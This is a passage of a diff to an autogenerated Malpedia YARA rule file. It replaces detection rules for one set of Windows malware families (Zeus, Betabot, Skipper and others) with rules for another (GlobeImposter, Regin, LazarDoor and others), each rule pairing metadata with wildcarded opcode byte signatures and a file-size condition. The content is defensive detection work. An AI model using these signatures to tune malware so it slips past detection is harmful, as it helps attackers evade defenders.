+		$sequence_22 = { 85ed 7476 85ff 7516 8b5c241c 8b0d???????? 53 }
+		$sequence_23 = { 8b15???????? 57 6a00 52 ff15???????? 8b0d???????? 8bf0 }
+		$sequence_24 = { 8985f0fdffff 8d85f4fdffff 6804010000 50 ff15???????? 83c414 }
+		$sequence_25 = { c1e908 81e1ff000000 0fb6d1 52 }
+		$sequence_26 = { 8b8dd8edffff 51 8d95f4edffff 52 68???????? }
+		$sequence_27 = { 81e2ffff0000 81e2ffff0000 c1ea08 81e2ff000000 }
+		$sequence_28 = { 83c414 8d8df4fdffff 51 ff15???????? }
+		$sequence_29 = { 50 68???????? 8b0d???????? 51 ff15???????? ffd0 }
+		$sequence_30 = { 6888130000 ff15???????? c745f000000000 c745f400000000 }
+		$sequence_31 = { 56 51 56 6a01 }
+		$sequence_32 = { 8be8 8b442410 50 e8???????? }
+		$sequence_33 = { 8d8dfcefffff 51 ff15???????? ba00080000 }
+		$sequence_34 = { 50 ff15???????? a1???????? 83c418 }
+		$sequence_35 = { ffd6 ffd0 68???????? a3???????? }
+		$sequence_36 = { 57 8b3d???????? 68???????? ffd7 8b35???????? 68???????? 50 }
+		$sequence_37 = { 8908 813800000000 0f94c2 8b35???????? 8b3d???????? 0faff6 81c601000000 }
+		$sequence_38 = { 8908 813800000000 0f95c2 8b35???????? }
+		$sequence_39 = { a3???????? ffd7 8bd8 68???????? 53 }
+		$sequence_40 = { 53 a3???????? ffd6 68???????? a3???????? }
+		$sequence_41 = { 5f 5d c3 89e0 c70010270000 }
+		$sequence_42 = { 5f 5b 5d c3 b81c000000 }
+		$sequence_43 = { 8908 8b15???????? 89d6 81c609000000 }
+		$sequence_44 = { bf04010000 57 6a08 ff35???????? ff15???????? }
+		$sequence_45 = { 29d6 01f0 a3???????? e9???????? }
+		$sequence_46 = { 8908 8b00 8b5004 8b35???????? }
+		$sequence_47 = { 29d6 0faff0 31d2 f7f6 }
 
 	condition:
-		7 of them and filesize <254976
+		7 of them and filesize <303100
 }
-rule MALPEDIA_Win_Breach_Rat_Auto : FILE
+rule MALPEDIA_Win_Lyposit_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f70ab09f-8643-5192-b966-55a3dab88920"
+		id = "bce51077-57cf-5adb-b910-01a9e65c59f7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.breach_rat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lyposit_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "8cb7f4b75bac273a3c54152da1b9e63a78dde17954dfd874b266899e47404327"
+		logic_hash = "6d3a7a695e65723557f6178bebcb83673702ff3e28dbc2c0dd967dcfab1ce86b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157641,34 +164626,34 @@ rule MALPEDIA_Win_Breach_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 5e 5b 8be5 5d c20400 884c240f 8d442418 }
-		$sequence_1 = { 50 8bce e8???????? 8bc8 e8???????? 8d8dacf6ffff c745fcffffffff }
-		$sequence_2 = { c1e81f 03c2 8985d8feffff 0f8479080000 83c724 89bde0feffff 8d9b00000000 }
-		$sequence_3 = { c741140f000000 c7411000000000 c60100 e8???????? ff7510 8d4dd4 ff750c }
-		$sequence_4 = { 8be5 5d c3 68???????? 8bce e8???????? b001 }
-		$sequence_5 = { 8b5508 8bcb 0fb712 8bff 663910 7408 83c002 }
-		$sequence_6 = { 42 8b5de0 3bd6 72f2 8b45a4 2bc6 50 }
-		$sequence_7 = { c7471800010000 8b4df4 8bc7 c7470400000000 c7470800000000 5f 5e }
-		$sequence_8 = { eb20 84c9 74ed 8b4df0 8d45d8 50 e8???????? }
-		$sequence_9 = { e8???????? 68???????? 8d859cf4ffff c745fc5c000000 50 8bce e8???????? }
+		$sequence_0 = { ff510c 3bc3 0f8cf1000000 57 6a40 ffd6 8945dc }
+		$sequence_1 = { ff74240c 50 e8???????? a3???????? 59 }
+		$sequence_2 = { 33f6 8975d8 8975fc b9???????? e8???????? 50 e8???????? }
+		$sequence_3 = { 6a01 e8???????? 83c40c 397d10 7413 ff7510 }
+		$sequence_4 = { ff15???????? 8bf8 8975d8 6a04 803e55 7506 8d4601 }
+		$sequence_5 = { 83c40c 83f801 0f8556010000 015f3c 295f58 807f6c00 }
+		$sequence_6 = { 0f8479010000 8bd8 8b5768 03573c 8b4760 33f6 }
+		$sequence_7 = { 29775c 0175fc 837df801 894750 8b475c 743e }
+		$sequence_8 = { e8???????? 8945c4 8d4de0 51 ff75d0 56 }
+		$sequence_9 = { 8bfe e8???????? 33c0 eb0f 6a08 6a40 ffd3 }
 
 	condition:
-		7 of them and filesize <645120
+		7 of them and filesize <466944
 }
-rule MALPEDIA_Win_Zeus_Auto : FILE
+rule MALPEDIA_Win_Cameleon_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7fc58452-b8ed-5f5d-9c4b-1944a46dd13e"
+		id = "65617330-75c8-57cf-8907-1895d87814f0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeus_auto.yar#L1-L231"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cameleon_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "9dc359b19db229cc8d91a3a8afe15f58c5fe776d823ff66891a661f0a8422765"
+		logic_hash = "1c72ed0d3ea99fe45b9cdedee31a0c82e32752220a6d117c9414b55a84125b1d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -157680,46 +164665,32 @@ rule MALPEDIA_Win_Zeus_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb58 833f00 7651 8b5f08 }
-		$sequence_1 = { 8b3a 3b7d08 740a 40 }
-		$sequence_2 = { 8d443604 50 a1???????? 57 }
-		$sequence_3 = { 8d442440 50 8d442428 50 0fb64304 }
-		$sequence_4 = { 8d442448 50 ff15???????? 0fb744244e }
-		$sequence_5 = { 8d4c3110 81f90000a000 7715 8918 c7400400000200 89780c }
-		$sequence_6 = { 8918 c7400400000200 89780c ff4208 890a c645ff01 }
-		$sequence_7 = { 8d442460 50 e8???????? 8b4508 }
-		$sequence_8 = { e8???????? 84c0 7442 6a10 }
-		$sequence_9 = { 891d???????? 891d???????? ffd6 68???????? }
-		$sequence_10 = { 8bf3 6810270000 ff35???????? ff15???????? }
-		$sequence_11 = { 8d8db0fdffff e8???????? 8ad8 84db }
-		$sequence_12 = { 8ac3 5b c20800 55 8bec 83e4f8 }
-		$sequence_13 = { c9 c20400 55 8bec f6451802 }
-		$sequence_14 = { 56 ff15???????? 5e 8ac3 5b c20800 }
-		$sequence_15 = { 84c0 0f84ac000000 b809080002 3945f4 7713 807d0801 0f8598000000 }
-		$sequence_16 = { 0f86e3000000 8b03 3509080002 3d5c5b4550 740b 3d59495351 }
-		$sequence_17 = { c745f809080002 e8???????? 8ad8 f6450c04 7473 }
-		$sequence_18 = { 807b0244 7429 83fe04 0f82ec000000 8b1b 81f309080002 81fb5d515047 }
-		$sequence_19 = { ff35???????? e8???????? 5f 5e 8ac3 }
-		$sequence_20 = { 8d470c 50 c707000e0000 c7470809080002 }
-		$sequence_21 = { b8d5000000 e8???????? 68e6010000 68???????? 6809080002 8bc6 50 }
-		$sequence_22 = { 81fb5d515047 7410 81fb4f4d4156 7408 81fb59495354 7506 b364 }
-		$sequence_23 = { 81fb59495354 7506 b364 6a14 eb18 81fb5a5c4156 740c }
+		$sequence_0 = { 53 56 57 8bf9 897df0 c745ec00000000 8b07 }
+		$sequence_1 = { 8a80f8c70410 8807 47 46 8bcb c6458301 e8???????? }
+		$sequence_2 = { 83ec18 8bd4 8965ec c7421000000000 c7421400000000 }
+		$sequence_3 = { 8d7dd0 837de408 0f437dd0 83ec18 8bd4 c7421000000000 c7421400000000 }
+		$sequence_4 = { 48 a3???????? ff15???????? 8b0d???????? 89048d98ce0510 5d c3 }
+		$sequence_5 = { 247f 88441628 eb12 0c80 88441628 8b0cbd50d60510 c644112900 }
+		$sequence_6 = { b83b000000 663bc8 0f94c0 84c0 7431 }
+		$sequence_7 = { 8d55dc c645fc02 8d8d24ffffff e8???????? 8bc8 8b01 }
+		$sequence_8 = { 8bd9 56 57 837b3800 0f848c010000 807b3d00 0f8482010000 }
+		$sequence_9 = { 5d c20400 85ff 75d4 897e10 837e1408 720f }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <824320
 }
-rule MALPEDIA_Win_Betabot_Auto : FILE
+rule MALPEDIA_Win_Globeimposter_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66328af7-8459-5b35-88d1-7e63b7ee5eb4"
+		id = "4d7b48e1-c009-5b34-a438-f100a6a58894"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.betabot_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.globeimposter"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.globeimposter_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "51b7b8c3c50a8d4a628d1b4c5d49a49007142cba41644cf909b7bfdb76b9cbc5"
+		logic_hash = "608bf851e6cd1f78be1de6e26308954d73fd642b69ffa80c802e22a056e6ef77"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157733,32 +164704,32 @@ rule MALPEDIA_Win_Betabot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85e4f7ffff 89bde8f7ffff 50 33ff 56 47 56 }
-		$sequence_1 = { 8d44244c 50 ff15???????? 8d442448 50 e8???????? 8d442448 }
-		$sequence_2 = { 32c0 e9???????? 6a40 5e e8???????? a3???????? }
-		$sequence_3 = { 884617 2407 80fa40 7413 80fa80 7404 }
-		$sequence_4 = { 85c0 7503 6afd 58 5f 5e 5b }
-		$sequence_5 = { c20400 55 8bec 83ec18 53 56 8365f800 }
-		$sequence_6 = { a1???????? 85c0 740b 8d4dfc 51 ff7508 ffd0 }
-		$sequence_7 = { bbb0040000 85f6 7433 a1???????? 48 50 }
-		$sequence_8 = { 8a460a 3cb9 740c 3c33 7408 c70302000000 eb34 }
-		$sequence_9 = { 7470 66397508 746a 6a02 59 ff7508 66894de8 }
+		$sequence_0 = { c1e810 8bca c1e908 23c7 23cf }
+		$sequence_1 = { 6a0c 5f eb0d 3d96000000 1bff }
+		$sequence_2 = { 8b4508 8b4e08 89442418 85ff 7452 }
+		$sequence_3 = { 0fd4cd 0f6e6f10 0fd4d5 0f7e4f08 0f73d120 0fd4cf 0f6e6f14 }
+		$sequence_4 = { 6a02 57 57 6800000040 8d85fcefffff }
+		$sequence_5 = { 0fd4cb 0f6e16 0ff4d0 0f6e6604 }
+		$sequence_6 = { 83c0fc 3918 7506 83e804 4f 75f6 }
+		$sequence_7 = { 83c104 f7db 75d7 5f 5b }
+		$sequence_8 = { 8bf0 8b06 8d7604 0119 3919 }
+		$sequence_9 = { 8bc7 f7f6 33d2 0fafc6 2bf8 }
 
 	condition:
-		7 of them and filesize <835584
+		7 of them and filesize <327680
 }
-rule MALPEDIA_Win_Cinobi_Auto : FILE
+rule MALPEDIA_Win_Tokyox_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "853d9242-221d-59c1-ad19-29eb6c5779a8"
+		id = "6ca744f8-6e83-57d0-b9b1-d948cf62f189"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cinobi"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cinobi_auto.yar#L1-L162"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tokyox"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tokyox_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "57c1141de6150455825b72381295eb849d072a659e2915f93f96811cd61f7768"
+		logic_hash = "6c96cc95cf53b382f98148013ad4ad66eb649ce28d4ba112298bfa55f06ac1c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157772,37 +164743,32 @@ rule MALPEDIA_Win_Cinobi_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c9 c3 55 8bec 51 e8???????? 58 }
-		$sequence_1 = { 8845df 8b45bc 8a400c 8845e0 }
-		$sequence_2 = { 0f8554010000 6a04 58 8b4df4 }
-		$sequence_3 = { 33c0 66898588faffff 8b85a8faffff 660fbe4008 66898584f5ffff 8b85a8faffff 660fbe4020 }
-		$sequence_4 = { e8???????? 59 59 84c0 751e 6810270000 }
-		$sequence_5 = { 8a4642 88842456010000 8a4647 88842457010000 8a4646 88842458010000 }
-		$sequence_6 = { 8b45f8 8b75f4 83c0f0 50 }
-		$sequence_7 = { ff705f 8b45c0 ffb0b7000000 ff75dc }
-		$sequence_8 = { 8b45c0 ff705f 8b45c0 ffb09f000000 ff75dc e8???????? 83c40c }
-		$sequence_9 = { 2402 88460e b001 5f 5b }
-		$sequence_10 = { 6880000000 ff7508 8b45f8 ff5073 ff7508 8b45f8 }
-		$sequence_11 = { 8b45bc 8a4053 8845f7 8b45bc 8a400c 8845f8 }
-		$sequence_12 = { 57 6800100000 ff75f8 ff75f0 ff9303010000 }
-		$sequence_13 = { 885de0 8a5823 884de9 8a4839 885de1 8a581d 884dea }
-		$sequence_14 = { 8b85a8faffff 660fbe4003 668945ba 8b85a8faffff 660fbe4013 }
+		$sequence_0 = { 6685c0 75e8 8d8570ffffff 8bf0 }
+		$sequence_1 = { bb0f000000 8975d8 8975e8 51 68ffff0000 50 }
+		$sequence_2 = { ff15???????? 85c0 0f8456010000 837d1000 751b 68c8000000 }
+		$sequence_3 = { 8d4598 8bcb 50 6888130000 8d45dc 50 e8???????? }
+		$sequence_4 = { 8d854cf5ffff 50 68???????? ff15???????? }
+		$sequence_5 = { 0f114590 0f104010 0f1145c0 0f1145a0 }
+		$sequence_6 = { ff730c ffd7 e9???????? 8d8550ffffff 0f57c0 50 0f114310 }
+		$sequence_7 = { 8d85f0faffff c645a000 50 ff75a0 8d4de8 }
+		$sequence_8 = { 8bf8 56 53 57 e8???????? 0f1045d0 }
+		$sequence_9 = { 668903 8d5101 8a01 41 84c0 75f9 ff75f8 }
 
 	condition:
-		7 of them and filesize <32768
+		7 of them and filesize <237568
 }
-rule MALPEDIA_Win_Boldmove_Auto : FILE
+rule MALPEDIA_Win_Divergent_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ede55e68-ab48-582c-bf7e-2cb826551211"
+		id = "14cdfb94-4b91-530e-a0fa-873505b81024"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boldmove_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.divergent_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "d529b7724e2e647d4848b38aca8e76a61b2caa5c4bf1c77fa8242a3dc71a9c2d"
+		logic_hash = "60d51f83c6b67d5042579114a766b27aab37221121fff155d69e0a695b8fbbca"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157816,34 +164782,34 @@ rule MALPEDIA_Win_Boldmove_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb655e4 d3e2 8b8b24300000 09d0 880431 31c0 }
-		$sequence_1 = { 891c24 e8???????? 893424 e8???????? 8b442434 85c0 }
-		$sequence_2 = { 0f85cf060000 c744246800000000 8b4c2434 b801000000 85c9 0f4fc1 8984249c000000 }
-		$sequence_3 = { 83cd02 89442448 e9???????? 8d4701 83cd08 89442448 }
-		$sequence_4 = { e8???????? 89c5 8b442438 892c24 89442404 e8???????? 8b4c2424 }
-		$sequence_5 = { 8b442420 89fb 8b10 e9???????? 85f6 7e03 83ee01 }
-		$sequence_6 = { 8b8314100000 31d2 39d0 740c 39b49318100000 7418 42 }
-		$sequence_7 = { 85db 0f84561d0000 81fe00040000 b800040000 0f4ec6 890424 89442440 }
-		$sequence_8 = { 8d4f04 7415 837c242801 0f8473050000 837c242805 7503 0fbec0 }
-		$sequence_9 = { 8b8310080000 31d2 39d0 740c 39b49314080000 }
+		$sequence_0 = { 8bc1 880438 40 3d00010000 7cf5 8b450c }
+		$sequence_1 = { 83c418 85db 0f8537ffffff 5f 5e 68???????? ff15???????? }
+		$sequence_2 = { 3b4510 7518 ff7510 8b4704 ff750c }
+		$sequence_3 = { 85c0 750a 830604 5e 5d e9???????? 33c0 }
+		$sequence_4 = { ff15???????? 837e0800 7412 ff7608 ff15???????? ff7608 e8???????? }
+		$sequence_5 = { 3bf1 7421 3bf9 741d 3bc1 7419 c1e204 }
+		$sequence_6 = { 85db 0f84da000000 3975f4 0f84d1000000 53 e8???????? 8945e4 }
+		$sequence_7 = { 5d c3 ff25???????? 55 8bec 837d0800 741f }
+		$sequence_8 = { e8???????? 8bf8 83c414 85ff 742c 8b463c ff743054 }
+		$sequence_9 = { 0fb6f1 0fb6ca 0fb60406 034510 03c8 81e1ff000080 7908 }
 
 	condition:
-		7 of them and filesize <242688
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Skipper_Auto : FILE
+rule MALPEDIA_Win_Lazardoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4df8b68e-8938-5eb7-bba0-86905918e37c"
+		id = "2eb37290-3e1c-5665-a83e-f5adb7297910"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.skipper_auto.yar#L1-L431"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lazardoor_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "dd8f2a613ae1336f9183e3a024858c9c0abef8aafde3712e59fe4ab047db7609"
+		logic_hash = "0bf4197e05236eb2be49432405132a9996b398c538e39f55b3ceea025a90e3ab"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -157855,67 +164821,32 @@ rule MALPEDIA_Win_Skipper_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a00 6a00 6a03 68???????? 68???????? 6a50 }
-		$sequence_1 = { 59 5d c3 55 8bec 33c0 50 }
-		$sequence_2 = { e8???????? 6804010000 e8???????? 6804010000 8bf8 }
-		$sequence_3 = { ff15???????? 6a00 6a00 6a00 6a00 68???????? 68???????? }
-		$sequence_4 = { e8???????? 6a04 e8???????? 8bf8 57 6a04 68???????? }
-		$sequence_5 = { 0fb6c3 03c8 81e1ff000080 7908 49 81c900ffffff 41 }
-		$sequence_6 = { 8b4d08 0fb68405fcfeffff 320439 47 8847ff 4e 0f8568ffffff }
-		$sequence_7 = { 7c0e 0fba25????????01 0f824a0e0000 57 8bf9 83fa04 7231 }
-		$sequence_8 = { e8???????? 83c404 6a00 6a64 52 50 }
-		$sequence_9 = { 8a85effeffff 888415f0feffff e9???????? c785dcfeffff00000000 }
-		$sequence_10 = { 898ddcfeffff 8b95dcfeffff 3b5514 0f8dcf000000 8b45f8 }
-		$sequence_11 = { 0fb6d2 8a8415f0feffff 8885eefeffff 8b4d10 038ddcfeffff 0fbe11 }
-		$sequence_12 = { c1e81f 03d0 418bc1 8d1492 }
-		$sequence_13 = { 0fb602 418800 44880a 410fb610 4103d1 }
-		$sequence_14 = { 81e2ff000080 7908 4a 81ca00ffffff 42 0fb6d2 8a8415f0feffff }
-		$sequence_15 = { 51 6a0b 68???????? 8b15???????? 52 68???????? e8???????? }
-		$sequence_16 = { 0fb645f8 8a8c15f0feffff 888c05f0feffff 0fb655fc 8a85effeffff }
-		$sequence_17 = { 33c9 4963e9 498bf8 488d1424 448bd1 8bc1 0f1f840000000000 }
-		$sequence_18 = { 4181c800ffffff 41ffc0 410fb6c0 488d1424 41ffc1 4803d0 48ffc3 }
-		$sequence_19 = { 81c900ffffff ffc1 4863c1 0fb61404 4403d2 4181e2ff000080 }
-		$sequence_20 = { 0fb6c2 49ffc3 0fb61404 4232541fff }
-		$sequence_21 = { 48896c2410 4889742418 48897c2420 4156 4881ec10010000 488b05???????? 4833c4 }
-		$sequence_22 = { 8b85e0feffff 83c001 8985e0feffff 81bde0feffff00010000 }
-		$sequence_23 = { 4232541fff 418853ff 48ffcb 0f8575ffffff }
-		$sequence_24 = { 81ec24010000 a1???????? 33c5 8945f4 c745f800000000 }
-		$sequence_25 = { 3d02010000 7513 8b4d08 e8???????? 68e8030000 ff15???????? }
-		$sequence_26 = { 7528 48833d????????00 741e 488d0de59b0000 e8???????? 85c0 740e }
-		$sequence_27 = { 895704 66a1???????? 66894708 8a0d???????? 884f0a e8???????? 0fb6d0 }
-		$sequence_28 = { 85d2 740c c785d4feffff3a040000 eb0a c785d4feffffffff1f00 }
-		$sequence_29 = { 68???????? 68???????? 8d4d20 0f434d20 68bb010000 51 50 }
-		$sequence_30 = { ffb5b0faffff e9???????? 8d8580faffff 50 6a00 ffb590faffff }
-		$sequence_31 = { 33c0 e9???????? 8975e4 33c0 39b8b8a62300 0f8491000000 }
-		$sequence_32 = { 488bc3 488d15cfa30000 48c1f805 83e11f 488b04c2 486bc958 }
-		$sequence_33 = { 48ffc8 90 80780100 488d4001 75f6 }
-		$sequence_34 = { ff15???????? 41b900800000 41b804010000 488bd3 488bcf ff15???????? }
-		$sequence_35 = { b81a000000 eb23 488d0da39a0000 48890c03 4883c130 }
-		$sequence_36 = { 8b0c85606d4100 c1e206 8a441124 3245fe 247f 30441124 8b37 }
-		$sequence_37 = { 8b7508 8d34f570a02300 391e 7404 }
-		$sequence_38 = { e8???????? 488db328010000 488d7b28 bd06000000 488d051dad0000 483947f0 }
-		$sequence_39 = { e8???????? 59 8945e4 8b7508 c7465cd8812300 33ff 47 }
-		$sequence_40 = { 8bff 55 8bec 8b4508 ff34c570a02300 }
-		$sequence_41 = { 8a80b4a62300 08443b1d 0fb64601 47 3bf8 }
-		$sequence_42 = { 488d1d24a50000 8bef 488b33 4885f6 }
-		$sequence_43 = { a3???????? a1???????? c705????????66162300 8935???????? a3???????? ff15???????? }
-		$sequence_44 = { 488d05a59a0000 740f 3908 740e 4883c010 4883780800 }
+		$sequence_0 = { 488bd1 488bc1 48c1f806 4c8d05f4f60000 }
+		$sequence_1 = { 428a8c3998a50100 482bd0 8b42fc d3e8 443bc8 0f8d09010000 488b4b28 }
+		$sequence_2 = { 4053 4883ec20 488d05575a0100 488bd9 488901 f6c201 740a }
+		$sequence_3 = { 8905???????? 0f1105???????? 8b15???????? 4533c9 488b0d???????? 4533c0 }
+		$sequence_4 = { 4d85c0 7410 488d15615b0200 488bc8 }
+		$sequence_5 = { 44392d???????? 743d 4533c9 4c896c2430 c744242880000000 }
+		$sequence_6 = { 660f6e5cc610 660f62d8 660f6fc7 660f6cda 660ffec4 660f76de }
+		$sequence_7 = { 33d2 e8???????? 3bc3 7565 03fb 8b1d???????? 3bfb }
+		$sequence_8 = { ba5a540000 e9???????? 8b05???????? 85c0 }
+		$sequence_9 = { 4c8bc1 b84d5a0000 66390525b6ffff 7578 48630d58b6ffff 488d1515b6ffff 4803ca }
 
 	condition:
-		7 of them and filesize <262144
+		7 of them and filesize <405504
 }
-rule MALPEDIA_Win_Varenyky_Auto : FILE
+rule MALPEDIA_Win_Regin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "799963a3-0366-58c7-b923-0a51c9db342a"
+		id = "ce7821ca-cfed-5ada-bd4c-3b99c9cf64f9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.varenyky_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.regin_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "9e07244b9e5d336f26b69f46ff4024108fa6443c2648edcc9fb5aa11d967154b"
+		logic_hash = "985ecd1548d174f4606bb21325679aedf195f3d6056cd99e3d5f01bd16dfaa46"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157929,32 +164860,32 @@ rule MALPEDIA_Win_Varenyky_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8b3d???????? 8b542418 6a00 52 8d8424c0130000 50 55 }
-		$sequence_1 = { 8d542435 6a00 52 c644243c00 e8???????? }
-		$sequence_2 = { 6880000000 8bd6 52 ff15???????? 6803010000 8d842485020000 }
-		$sequence_3 = { 83c40c 6a40 898424a4010000 898c249c010000 8a0d???????? 899424a0010000 8d442450 }
-		$sequence_4 = { 03f0 0fbe01 3bc3 75f0 }
-		$sequence_5 = { 57 e8???????? 83c404 3c32 }
-		$sequence_6 = { 8d84244d030000 53 50 c744242404010000 889c2454030000 e8???????? }
-		$sequence_7 = { 51 ffd6 68???????? 8d542474 52 ffd7 }
-		$sequence_8 = { 56 57 6803010000 8d44243d 53 50 885c2444 }
-		$sequence_9 = { 41 03e8 0fbe01 3bc3 75f0 0fbe842440020000 }
+		$sequence_0 = { 49 8363f000 48 8d0504230000 49 8943d8 }
+		$sequence_1 = { 48 89442438 b800210000 c7442430204e0000 89442428 }
+		$sequence_2 = { 85c0 740c 8b05???????? 39442460 7405 }
+		$sequence_3 = { c1e802 41 ffc0 48 8d4c2470 41 }
+		$sequence_4 = { 44 8bc1 48 8b0d???????? ff15???????? }
+		$sequence_5 = { 48 89442448 48 89442450 b82375f1ba }
+		$sequence_6 = { 33c0 48 83c428 c3 48 83ec28 33c9 }
+		$sequence_7 = { 0f45df 8bc3 48 8b5c2448 }
+		$sequence_8 = { 84c0 44 8d7304 0f45f8 8d4302 44 84c0 }
+		$sequence_9 = { 48 8bfb 8bc7 48 8b5c2430 48 }
 
 	condition:
-		7 of them and filesize <24846336
+		7 of them and filesize <49152
 }
-rule MALPEDIA_Win_Prometei_Auto : FILE
+rule MALPEDIA_Win_Sslmm_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f30d42cb-2af1-5154-8e15-89c897952439"
+		id = "66fe7984-4fbf-52ff-a40d-1ce2823f2352"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.prometei_auto.yar#L1-L159"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sslmm_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "5377a5e6947b9cd903f94c70f6185011aeea6f018af2aa2974c11199d44376b8"
+		logic_hash = "d75465397d6b8b1866eed0e7ec1b8ff2d24536787a6f5113faf56887d0bb752f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -157968,38 +164899,32 @@ rule MALPEDIA_Win_Prometei_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 011d???????? 03c8 8b5de4 a1???????? }
